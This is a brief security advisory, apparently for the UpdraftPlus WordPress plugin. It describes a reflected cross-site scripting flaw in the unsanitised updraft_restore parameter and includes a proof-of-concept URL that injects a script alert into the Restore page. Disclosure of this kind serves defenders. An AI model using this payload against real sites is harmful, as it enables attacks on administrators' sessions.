The plugin does not sanitise and escape the updraft_restore parameter before outputting it back in the Restore page, leading to a Reflected Cross-Site Scripting
https://example.com/wp-admin/options-general.php?page=updraftplus&job_id&updraft_restore%5B0%5D=%3Cscript%3Ealert%28/XSS/%29%3C%2Fscript%3E&action=updraft_restore&backup_timestamp=123&updraftplus_ajax_restore=start_ajax_restore